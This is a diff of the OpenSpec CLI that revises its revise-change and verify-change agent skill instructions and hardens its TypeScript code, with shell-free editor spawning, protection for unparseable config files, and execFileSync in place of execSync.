- Revise only files that already exist (`existingOutputPaths`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to `/openspec-continue-change` to create them.
|
||||
- If the change is already coherent, say so and make no edits.
|
||||
- Propose revisions to files that already exist (`existingOutputPaths`). If an artifact has no existing output files and status `ready` or `blocked`, note it and point the user to `/openspec-continue-change` to create them. Leave `skipped` artifacts untouched; do not treat them as missing or defer them to the continue workflow.
|
||||
- A glob artifact (e.g. `specs/**/*.md`) is marked `done` after at least one file matches, and the continue workflow only handles `ready` artifacts. When reconciliation identifies a missing file for a glob artifact whose `existingOutputPaths` is non-empty:
|
||||
1. Run `openspec instructions "<artifact-id>" --change "<name>" --json` and use its `instruction` and `template`. Treat `context` and `rules` as constraints; do not copy them into the file. If instructions report `skipped: true`, do not create the file. Read current dependency files from disk; if a required non-skipped dependency is missing, stop and ask the user to restore it first.
|
||||
2. Choose a concrete path inside `changeRoot` that matches `artifactPaths.<id>.outputPath` and does not already exist. Verify it remains inside `changeRoot` after resolving any symlinked parent directories. The glob `resolvedOutputPath` is not a valid target.
|
||||
3. Include the new file in step 5's proposed revisions and create it only after the user confirms.
|
||||
4. After confirmation, immediately before creation, refresh status and instructions. Verify the artifact is still in scope, not skipped, and partially populated; repeat the concrete-path checks above.
|
||||
5. Use a create operation that fails if the target already exists. If `instruction` delegates creation to another skill or command, invoke it only if it can honor the confirmed path and these guardrails; otherwise stop. If any check fails or the confirmed draft is no longer valid, stop and reconcile with the user rather than replacing existing content or choosing a different path.
|
||||
- If the change is already coherent, say so and propose no revisions.
|
||||
|
||||
5. **Confirm and apply, one artifact at a time**
|
||||
- Show each proposed revision and why. Write only after the user confirms.
|
||||
- This step performs every artifact write in this workflow; no earlier step edits an artifact.
|
||||
- Show each proposed revision and why - including the requested edit drafted in step 4. Write only after the user confirms.
|
||||
- If the user rejects a revision, do not write it - leave that artifact unchanged.
|
||||
- When a substantial rewrite is needed, get that artifact's rules and template first:
|
||||
```bash
|
||||
@@ -70,7 +87,7 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
```
|
||||
|
||||
6. **Point to the next step (guidance only - NEVER act on it)**
|
||||
- Artifacts still missing -> suggest `/openspec-continue-change` to create them.
|
||||
- Artifacts with empty `existingOutputPaths` and status `ready` or `blocked` -> suggest `/openspec-continue-change` to create them.
|
||||
- Change already implemented (tasks checked off / already applied) -> the code may no longer match the revised plan; suggest `/openspec-apply-change` to carry the delta into code.
|
||||
- Everything done and implemented -> suggest `/openspec-archive-change`.
|
||||
|
||||
@@ -78,13 +95,14 @@ Revise a change's existing planning artifacts and keep them coherent. Never edit
|
||||
|
||||
After each invocation, show:
|
||||
- Which artifacts were revised (and which proposed revisions were rejected)
|
||||
- Anything deferred to `/openspec-continue-change` (not-yet-created artifacts or files)
|
||||
- Any file created under a glob artifact that was already partially populated
|
||||
- Anything deferred to `/openspec-continue-change` (artifacts with no files yet and status `ready` or `blocked`, never `skipped` artifacts)
|
||||
- Where the change stands and the recommended next command
|
||||
|
||||
**Guardrails**
|
||||
- Planning artifacts only - NEVER edit implementation code. If the revised plan implies code changes, stop and point to `/openspec-apply-change`.
|
||||
- Use the artifact ids and paths reported by `openspec status`; never branch on hardcoded artifact names.
|
||||
- Edit only the concrete files in `existingOutputPaths`; never write to a glob `resolvedOutputPath`.
|
||||
- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is `/openspec-continue-change`'s job.
|
||||
- Do not advance the build frontier: if an artifact has empty `existingOutputPaths` and status `ready` or `blocked`, that is `/openspec-continue-change`'s job. Leave `skipped` artifacts untouched. The only new-file scope is a confirmed concrete path under a glob artifact whose `existingOutputPaths` is non-empty.
|
||||
- Confirm every edit with the user before writing.
|
||||
- If the request changes the change's *intent* rather than refining it, first verify whether the optional `/openspec-new-change` workflow is available. If it is, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend `openspec new change "<new-change-name>"` instead.
|
||||
- If the request changes the change's *intent* rather than refining it, recommend starting fresh with `/openspec-new-change` (the "Update vs. Start Fresh" heuristic).
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-verify-change
|
||||
description: Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving.
|
||||
description: Verify implementation matches OpenSpec change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving. Also use when the user says "openspec verify" or "opsx verify".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -24,7 +35,7 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
- Auto-select if only one active change exists
|
||||
- If ambiguous, run `openspec list --json` to get available changes and ask the user to select one
|
||||
|
||||
When prompting, show changes that have implementation tasks (tasks artifact exists).
|
||||
When prompting, show all active changes returned by the list, including changes with `status: "no-tasks"`.
|
||||
Include the schema used for each change if available.
|
||||
Mark changes with incomplete tasks as "(In Progress)".
|
||||
|
||||
@@ -45,7 +56,9 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
openspec instructions apply --change "<name>" --json
|
||||
```
|
||||
|
||||
This returns the change directory and `contextFiles` (artifact ID -> array of concrete file paths). Read all available artifacts from `contextFiles`.
|
||||
This returns the change directory, `contextFiles` (artifact ID -> array of concrete file paths), `taskTrackingConfigured`, and top-level `tasks` and `progress` aggregated from every concrete file matched by the schema's `apply.tracks` configuration that could be read. Read all available artifacts from `contextFiles`.
|
||||
|
||||
Treat apply `state` and `instruction` as context, not a verification verdict. Do not implement tasks or archive the change during verification.
|
||||
|
||||
4. **Initialize verification report structure**
|
||||
|
||||
@@ -56,30 +69,59 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
|
||||
Each dimension can have CRITICAL, WARNING, or SUGGESTION issues.
|
||||
|
||||
Verification is advisory. Respect intentional omissions such as `skip_specs: true`, optional design documents, and schemas without task tracking. Do not require or invent optional or intentionally omitted artifacts to obtain a clean report. `Not verified` describes a limit of this report, not a new archive prerequisite. Archive retains its own checks and user-confirmation behavior.
|
||||
|
||||
Mark checks the schema does not define, or artifacts the status reports as intentionally skipped, as **Not applicable**. The correctness checks of a change whose readable delta specs contain REMOVED or RENAMED requirements but no ADDED or MODIFIED requirements are also **Not applicable** (see step 6). Exclude them from skipped-check counts and the archive-readiness assessment. Reserve **Not verified** for applicable checks whose evidence is missing or unusable.
|
||||
|
||||
If only task evidence is available for applicable checks, verify task completion only and mark the remaining applicable checks, including **Code Pattern Consistency**, as not verified with the reason "Only task evidence available".
|
||||
|
||||
If artifacts cannot be read or contain no usable requirements, scenarios, or design decisions, mark the affected checks as not verified with the specific reason. Continue checks supported by the remaining evidence, but a partially checked input set is not a fully verified check. Missing requirements affect Spec Coverage and Requirement Implementation Mapping; missing scenarios affect Scenario Coverage; missing design decisions affect Design Adherence.
|
||||
|
||||
5. **Verify Completeness**
|
||||
|
||||
**Task Completion**:
|
||||
- If `contextFiles.tasks` exists, read every file path in it
|
||||
- Parse checkboxes: `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- Count complete vs total tasks
|
||||
- If incomplete tasks exist:
|
||||
- Add CRITICAL issue for each incomplete task
|
||||
- If `taskTrackingConfigured` is false, report **Task Completion** as not applicable. Do not treat empty `tasks` as missing evidence.
|
||||
- Otherwise, use the top-level `tasks` and `progress` fields. They already aggregate every readable concrete file matched by `apply.tracks`, regardless of the tracked artifact's ID; do not infer tracking from a `contextFiles` key.
|
||||
- If `unavailableTrackingFiles` is nonempty, mark **Task Completion** as not verified and include every unavailable path and reason. Continue using any readable task evidence, but do not infer completion from the partial `tasks` and `progress` fields.
|
||||
- If `taskTrackingConfigured` is true and `tasks` is empty, mark **Task Completion** as not verified and record the reason from apply `state` and `instruction`. Nonzero totals alone do not establish evaluable task descriptions.
|
||||
- Report complete vs total tasks from `progress`.
|
||||
- If `progress.remaining` is greater than 0:
|
||||
- Add CRITICAL issue for each listed incomplete task. If the remaining count exceeds the listed incomplete tasks, also report the incomplete checkboxes without descriptions and recommend adding descriptions and completing them. Do not infer completion from the listed tasks alone.
|
||||
- Recommendation: "Complete task: <description>" or "Mark as done if already implemented"
|
||||
|
||||
**Spec Coverage**:
|
||||
- If status marks the spec artifact skipped by `skip_specs: true`, or the schema defines no spec artifact, report the spec-dependent checks as not applicable.
|
||||
- Otherwise, `contextFiles` is keyed by artifact id, and artifact ids come from the active schema. If `contextFiles.specs` is absent or empty, mark **Spec Coverage**, **Requirement Implementation Mapping**, and **Scenario Coverage** as not verified; do not treat any of them as clean.
|
||||
- If delta specs exist in `contextFiles.specs`:
|
||||
- Extract all requirements (marked with "### Requirement:")
|
||||
- For each requirement:
|
||||
- Extract all requirements (marked with "### Requirement:", or listed as `FROM:`/`TO:` pairs under `## RENAMED Requirements`) and note the delta section each one sits under: `## ADDED`, `## MODIFIED`, `## REMOVED`, or `## RENAMED Requirements`. The section decides what the check looks for.
|
||||
- For each ADDED or MODIFIED requirement (for MODIFIED, check the text in the delta, not the old wording):
|
||||
- Search codebase for keywords related to the requirement
|
||||
- Assess if implementation likely exists
|
||||
- If requirements appear unimplemented:
|
||||
- If ADDED or MODIFIED requirements appear unimplemented:
|
||||
- Add CRITICAL issue: "Requirement not found: <requirement name>"
|
||||
- Recommendation: "Implement requirement X: <description>"
|
||||
- For each REMOVED requirement, the change asks for the behavior to be gone, so invert the check:
|
||||
- Search codebase for the removed behavior. Matches in `openspec/` artifacts or docs, or in code that serves only the Migration note or an ADDED requirement, are not evidence by themselves. Report any code path that still delivers the removed behavior, including one shared with an ADDED requirement.
|
||||
- Finding no implementation is the expected result. Never report a REMOVED requirement as "Requirement not found" or recommend implementing it.
|
||||
- If the behavior is still present:
|
||||
- Add CRITICAL issue: "Removed requirement still implemented: <requirement name>"
|
||||
- Recommendation: "Remove the remaining implementation at <file>:<lines>, following the requirement's Migration note if it has one"
|
||||
- For each RENAMED entry (`FROM:`/`TO:`), the name changes but the behavior stays, so check the TO requirement for that unchanged behavior:
|
||||
- Do not report the FROM name as missing, and do not require code symbols, identifiers, or file names to be renamed.
|
||||
- If the TO name also appears under MODIFIED, its behavior is checked there against the MODIFIED text; skip it here.
|
||||
- Otherwise, read the baseline requirement in the main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md`, using the same capability path as the delta spec: the requirement under the FROM name, or under the TO name only when the FROM name is absent because the main spec is already synced. Its body and scenarios are the evidence for the behavior the TO requirement keeps.
|
||||
- Search codebase for that behavior and assess if it is still implemented.
|
||||
- If it appears unimplemented:
|
||||
- Add CRITICAL issue: "Renamed requirement not found: <TO name>"
|
||||
- Recommendation: "Restore the behavior of <TO name> (renamed from <FROM name>); a rename must not change behavior"
|
||||
- If the baseline requirement cannot be found or read, mark **Spec Coverage** as not verified for that entry with the reason. Never count an unchecked rename as passing.
|
||||
|
||||
6. **Verify Correctness**
|
||||
|
||||
If the delta specs are readable and contain at least one REMOVED or RENAMED requirement but no ADDED or MODIFIED requirements (the change only removes or renames requirements), report **Requirement Implementation Mapping** and **Scenario Coverage** as **Not applicable**. The REMOVED and RENAMED checks under Spec Coverage are the evidence for such a change (each RENAMED entry is checked there against its baseline behavior), so do not mark these two checks as not verified. A delta spec with no parseable requirements at all is unusable evidence, not a removal-only change: mark these checks as not verified.
|
||||
|
||||
**Requirement Implementation Mapping**:
|
||||
- For each requirement from delta specs:
|
||||
- For each ADDED or MODIFIED requirement from delta specs (REMOVED entries, and RENAMED entries without a MODIFIED block, were settled under Spec Coverage):
|
||||
- Search codebase for implementation evidence
|
||||
- If found, note file paths and line ranges
|
||||
- Assess if implementation matches requirement intent
|
||||
@@ -88,26 +130,29 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
- Recommendation: "Review <file>:<lines> against requirement X"
|
||||
|
||||
**Scenario Coverage**:
|
||||
- For each scenario in delta specs (marked with "#### Scenario:"):
|
||||
- For each scenario under an ADDED or MODIFIED requirement in delta specs (marked with "#### Scenario:"):
|
||||
- Check if conditions are handled in code
|
||||
- Check if tests exist covering the scenario
|
||||
- If scenario appears uncovered:
|
||||
- Add WARNING: "Scenario not covered: <scenario name>"
|
||||
- Recommendation: "Add test or implementation for scenario: <description>"
|
||||
- Skip scenarios under a REMOVED requirement; that behavior is meant to be gone.
|
||||
|
||||
7. **Verify Coherence**
|
||||
|
||||
**Design Adherence**:
|
||||
- If the schema defines no design artifact, report **Design Adherence** as not applicable.
|
||||
- If `contextFiles.design` exists:
|
||||
- Extract key decisions (look for sections like "Decision:", "Approach:", "Architecture:")
|
||||
- Verify implementation follows those decisions
|
||||
- If contradiction detected:
|
||||
- Add WARNING: "Design decision not followed: <decision>"
|
||||
- Recommendation: "Update implementation or revise design.md to match reality"
|
||||
- If no design.md: Skip design adherence check, note "No design.md to verify against"
|
||||
- Otherwise, if `contextFiles.design` is absent or empty: mark **Design Adherence** as not verified. With other supporting artifacts, **Code Pattern Consistency** still runs; the task-only case remains limited to task completion.
|
||||
|
||||
**Code Pattern Consistency**:
|
||||
- Review new code for consistency with project patterns
|
||||
- If implementation changes cannot be identified, mark **Code Pattern Consistency** as not verified and explain the missing evidence.
|
||||
- Otherwise, review new code for consistency with project patterns
|
||||
- Check file naming, directory structure, coding style
|
||||
- If significant deviations found:
|
||||
- Add SUGGESTION: "Code pattern deviation: <details>"
|
||||
@@ -127,11 +172,15 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
| Coherence | Followed/Issues |
|
||||
```
|
||||
|
||||
In each Status cell, report the results of checks that ran and `Not verified (<reason>)` for every skipped check. If all checks in a dimension were skipped, start the cell with `Not verified`. Never score a skipped check as passing. Treat every not verified or partially verified check as skipped in the final assessment. Count only ADDED and MODIFIED requirements in N, and report REMOVED and RENAMED requirements separately (for example, "1 removal confirmed, 1 rename verified"). For a change that only removes or renames requirements, the Correctness cell reads `Not applicable (no ADDED or MODIFIED requirements)`.
|
||||
|
||||
**Issues by Priority**:
|
||||
|
||||
1. **CRITICAL** (Must fix before archive):
|
||||
- Incomplete tasks
|
||||
- Missing requirement implementations
|
||||
- Removed requirements still implemented
|
||||
- Renamed requirements whose behavior is no longer implemented
|
||||
- Each with specific, actionable recommendation
|
||||
|
||||
2. **WARNING** (Should fix):
|
||||
@@ -145,9 +194,12 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
- Each with specific recommendation
|
||||
|
||||
**Final Assessment**:
|
||||
- If CRITICAL issues: "X critical issue(s) found. Fix before archiving."
|
||||
- If only warnings: "No critical issues. Y warning(s) to consider. Ready for archive (with noted improvements)."
|
||||
- If all clear: "All checks passed. Ready for archive."
|
||||
- If CRITICAL issues: "X critical issue(s) found. Fix before archiving." If any check was skipped, also name every skipped check and its reason.
|
||||
- If no CRITICAL issues, one or more warnings, and no checks were skipped: "No critical issues. Y warning(s) to consider. Ready for archive (with noted improvements)."
|
||||
- If only suggestions and no checks were skipped: "No critical issues or warnings. Z suggestion(s) to consider. Ready for archive (with noted improvements)."
|
||||
- If no issues and no checks were skipped: "All checks passed. Ready for archive."
|
||||
- If any check was skipped and there are no CRITICAL issues: do not claim readiness. Say "No critical issues found in the checks that ran. <check(s)> not verified: <reason>." Include the warning count when nonzero.
|
||||
- Include the suggestion count when nonzero in every final assessment.
|
||||
|
||||
**Verification Heuristics**
|
||||
|
||||
@@ -157,13 +209,6 @@ Verify that an implementation matches the change artifacts (specs, tasks, design
|
||||
- **False Positives**: When uncertain, prefer SUGGESTION over WARNING, WARNING over CRITICAL
|
||||
- **Actionability**: Every issue must have a specific recommendation with file/line references where applicable
|
||||
|
||||
**Graceful Degradation**
|
||||
|
||||
- If only tasks.md exists: verify task completion only, skip spec/design checks
|
||||
- If tasks + specs exist: verify completeness and correctness, skip design
|
||||
- If full artifacts: verify all three dimensions
|
||||
- Always note which checks were skipped and why
|
||||
|
||||
**Output Format**
|
||||
|
||||
Use clear markdown with:
|
||||
|
||||
+15
-1
@@ -9,6 +9,10 @@ import { Change, Delta } from '../core/schemas/index.js';
|
||||
import type { RootOutput } from '../core/root-selection.js';
|
||||
import { isInteractive } from '../utils/interactive.js';
|
||||
import { getActiveChangeIds } from '../utils/item-discovery.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
import { getTaskProgressForChange } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
@@ -133,6 +137,13 @@ export class ChangeCommand {
|
||||
.then((stats) => stats.isDirectory())
|
||||
.catch(() => false);
|
||||
if (isChangeDirectory) {
|
||||
// A folder holding nested change directories has no proposal of its
|
||||
// own and never will; pointing at `status --change` would send the
|
||||
// user down a second dead end (#1846).
|
||||
const nested = await findNestedChangesIn(changesPath, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
throw new Error(
|
||||
`Change "${changeName}" has no proposal.md yet. ` +
|
||||
`Run "openspec status --change ${changeName}" to see which artifact comes next.`
|
||||
@@ -562,7 +573,10 @@ export class ChangeCommand {
|
||||
|
||||
private extractTitle(content: string, changeName: string): string {
|
||||
const match = content.match(/^#\s+(?:Change:\s+)?(.+)$/im);
|
||||
return match ? match[1].trim() : changeName;
|
||||
const title = match?.[1].trim();
|
||||
// The packaged template opens every proposal with a bare `# Proposal`,
|
||||
// which names the document rather than the change.
|
||||
return title && title.toLowerCase() !== 'proposal' ? title : changeName;
|
||||
}
|
||||
|
||||
private printNextSteps(issues: Array<{ message: string }> = []): void {
|
||||
|
||||
+167
-21
@@ -1,10 +1,13 @@
|
||||
import { Command } from 'commander';
|
||||
import { spawn } from 'node:child_process';
|
||||
import type { ChildProcess, spawn as nodeSpawn } from 'node:child_process';
|
||||
import * as fs from 'node:fs';
|
||||
import { createRequire } from 'node:module';
|
||||
import * as path from 'node:path';
|
||||
import {
|
||||
getGlobalConfigPath,
|
||||
getGlobalConfig,
|
||||
isConfigRootObject,
|
||||
isGlobalConfigUnreadable,
|
||||
saveGlobalConfig,
|
||||
GlobalConfig,
|
||||
} from '../core/global-config.js';
|
||||
@@ -26,8 +29,144 @@ import { hasProjectConfigDrift } from '../core/profile-sync-drift.js';
|
||||
import { UpdateCommand } from '../core/update.js';
|
||||
import { asErrorMessage, isPromptCancellationError } from './shared-output.js';
|
||||
|
||||
type EditorOutcome =
|
||||
| { code: number | null; signal: NodeJS.Signals | null }
|
||||
| { error: Error };
|
||||
|
||||
// cross-spawn finds `.cmd` shims such as `code.cmd` on Windows and escapes each
|
||||
// argument for cmd.exe; elsewhere it is plain spawn. Loaded lazily so other
|
||||
// commands skip its module graph.
|
||||
let cachedSpawn: typeof nodeSpawn | undefined;
|
||||
function loadSpawn(): typeof nodeSpawn {
|
||||
if (cachedSpawn === undefined) {
|
||||
cachedSpawn = createRequire(import.meta.url)('cross-spawn') as typeof nodeSpawn;
|
||||
}
|
||||
return cachedSpawn;
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits an EDITOR or VISUAL value into a program and its arguments without
|
||||
* running a shell, so `;`, `|`, `$VAR`, `~` and backticks are plain characters.
|
||||
* Double quotes group words. On POSIX, single quotes group words too and a
|
||||
* backslash escapes the next character (inside double quotes only `"` and `\`).
|
||||
* On Windows a backslash is a path separator and a single quote is a plain
|
||||
* character. Returns null when a quote is left open.
|
||||
*/
|
||||
export function splitEditorCommand(value: string, platform: NodeJS.Platform = process.platform): string[] | null {
|
||||
const posix = platform !== 'win32';
|
||||
const words: string[] = [];
|
||||
let word = '';
|
||||
let inWord = false;
|
||||
let quote: '"' | "'" | null = null;
|
||||
|
||||
for (let i = 0; i < value.length; i++) {
|
||||
const ch = value[i];
|
||||
if (quote === "'") {
|
||||
if (ch === "'") quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (posix && ch === '\\' && i + 1 < value.length) {
|
||||
const next = value[i + 1];
|
||||
if (quote === '"' && next !== '"' && next !== '\\') {
|
||||
word += ch;
|
||||
} else {
|
||||
word += next;
|
||||
i++;
|
||||
}
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (quote === '"') {
|
||||
if (ch === '"') quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (ch === '"' || (posix && ch === "'")) {
|
||||
quote = ch;
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (/\s/.test(ch)) {
|
||||
if (inWord) words.push(word);
|
||||
word = '';
|
||||
inWord = false;
|
||||
continue;
|
||||
}
|
||||
word += ch;
|
||||
inWord = true;
|
||||
}
|
||||
|
||||
if (quote) return null;
|
||||
if (inWord) words.push(word);
|
||||
return words;
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts the user's editor on `filePath`, never through a shell.
|
||||
*
|
||||
* EDITOR and VISUAL hold a command line, not a program name: `code --wait`
|
||||
* and `"/path with spaces/subl" -w` are both ordinary values, so the value is
|
||||
* split into words and the file path is appended as its own argument. A value
|
||||
* that is itself the absolute path of an existing file is run as-is, so an
|
||||
* unquoted editor path with spaces keeps working.
|
||||
*/
|
||||
function spawnEditor(editor: string, filePath: string): ChildProcess {
|
||||
const words = path.isAbsolute(editor) && fs.existsSync(editor) ? [editor] : splitEditorCommand(editor);
|
||||
if (words === null) {
|
||||
throw new Error('the value has an unterminated quote');
|
||||
}
|
||||
if (words.length === 0) {
|
||||
throw new Error('the value is blank');
|
||||
}
|
||||
const [program, ...args] = words;
|
||||
return loadSpawn()(program, [...args, filePath], { stdio: 'inherit', shell: false });
|
||||
}
|
||||
|
||||
/** Runs the editor on `filePath` and resolves once it has closed or failed to start. */
|
||||
function runEditor(editor: string, filePath: string): Promise<EditorOutcome> {
|
||||
return new Promise((resolve) => {
|
||||
try {
|
||||
const child = spawnEditor(editor, filePath);
|
||||
child.once('error', (error) => resolve({ error }));
|
||||
child.once('close', (code, signal) => resolve({ code, signal }));
|
||||
} catch (error) {
|
||||
resolve({ error: error instanceof Error ? error : new Error(String(error)) });
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function reportEditorFailure(editor: string, outcome: EditorOutcome): void {
|
||||
if ('error' in outcome) {
|
||||
console.error(`Error: Could not start editor "${editor}": ${outcome.error.message}`);
|
||||
} else if (outcome.signal) {
|
||||
console.error(`Error: Editor "${editor}" was terminated by ${outcome.signal}`);
|
||||
} else {
|
||||
console.error(`Error: Editor "${editor}" exited with code ${outcome.code}`);
|
||||
}
|
||||
// Only a missing program earns the hint: EACCES or EPERM means it exists.
|
||||
if ('error' in outcome && (outcome.error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
console.error('Set EDITOR or VISUAL to an installed editor command, for example: export EDITOR="code --wait"');
|
||||
}
|
||||
}
|
||||
|
||||
type ProfileAction = 'both' | 'delivery' | 'workflows' | 'keep';
|
||||
|
||||
/**
|
||||
* A config file that exists but cannot be parsed is still the user's file:
|
||||
* getGlobalConfig() reads it as defaults, and saving those back would erase
|
||||
* every setting in it. Reports the fix instead, and returns true when it did.
|
||||
*/
|
||||
function refuseUnreadableConfig(): boolean {
|
||||
if (!isGlobalConfigUnreadable()) {
|
||||
return false;
|
||||
}
|
||||
console.error(`Error: ${getGlobalConfigPath()} could not be parsed, so it was left unchanged.`);
|
||||
console.error('Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
|
||||
process.exitCode = 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
interface ProfileState {
|
||||
profile: Profile;
|
||||
delivery: Delivery;
|
||||
@@ -248,7 +387,12 @@ export function registerConfigCommand(program: Command): void {
|
||||
let rawConfig: Record<string, unknown> = {};
|
||||
try {
|
||||
if (fs.existsSync(configPath)) {
|
||||
rawConfig = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
const parsed: unknown = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
// A non-object root holds no explicit settings, and reading a key
|
||||
// off `null` would crash this read-only command.
|
||||
if (isConfigRootObject(parsed)) {
|
||||
rawConfig = parsed as Record<string, unknown>;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// If reading fails, treat all as defaults
|
||||
@@ -314,6 +458,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
return;
|
||||
}
|
||||
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const coercedValue = coerceValue(value, options.string || false);
|
||||
|
||||
@@ -343,6 +491,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('unset <key>')
|
||||
.description('Remove a key (revert to default)')
|
||||
.action((key: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const existed = deleteNestedValue(config, key);
|
||||
|
||||
@@ -391,7 +543,8 @@ export function registerConfigCommand(program: Command): void {
|
||||
}
|
||||
}
|
||||
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
// A reset is the one write meant to replace a file that cannot be parsed.
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG }, { replaceUnreadable: true });
|
||||
console.log('Configuration reset to defaults');
|
||||
});
|
||||
|
||||
@@ -417,24 +570,13 @@ export function registerConfigCommand(program: Command): void {
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
}
|
||||
|
||||
// Spawn editor and wait for it to close
|
||||
// Avoid shell parsing to correctly handle paths with spaces in both
|
||||
// the editor path and config path
|
||||
const child = spawn(editor, [configPath], {
|
||||
stdio: 'inherit',
|
||||
shell: false,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
child.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve();
|
||||
} else {
|
||||
reject(new Error(`Editor exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
child.on('error', reject);
|
||||
});
|
||||
// Wait for the editor to close; a failure is reported, never thrown.
|
||||
const outcome = await runEditor(editor, configPath);
|
||||
if ('error' in outcome || outcome.code !== 0) {
|
||||
reportEditorFailure(editor, outcome);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const rawConfig = fs.readFileSync(configPath, 'utf-8');
|
||||
@@ -463,6 +605,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('profile [preset]')
|
||||
.description('Configure workflow profile (interactive picker or preset shortcut)')
|
||||
.action(async (preset?: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Preset shortcut: `openspec config profile core`
|
||||
if (preset === 'core') {
|
||||
const config = getGlobalConfig();
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { execSync, execFileSync } from 'child_process';
|
||||
import { execFileSync } from 'child_process';
|
||||
import { createRequire } from 'module';
|
||||
import os from 'os';
|
||||
|
||||
@@ -12,8 +12,10 @@ const TITLE_PREFIX = 'Feedback: ';
|
||||
*/
|
||||
function isGhInstalled(): boolean {
|
||||
try {
|
||||
const command = process.platform === 'win32' ? 'where gh' : 'which gh';
|
||||
execSync(command, { stdio: 'pipe' });
|
||||
// execFileSync, not execSync: no shell is needed to look a binary up, and
|
||||
// spawning one next to free-form issue text is the shape a future refactor
|
||||
// most easily turns into command injection.
|
||||
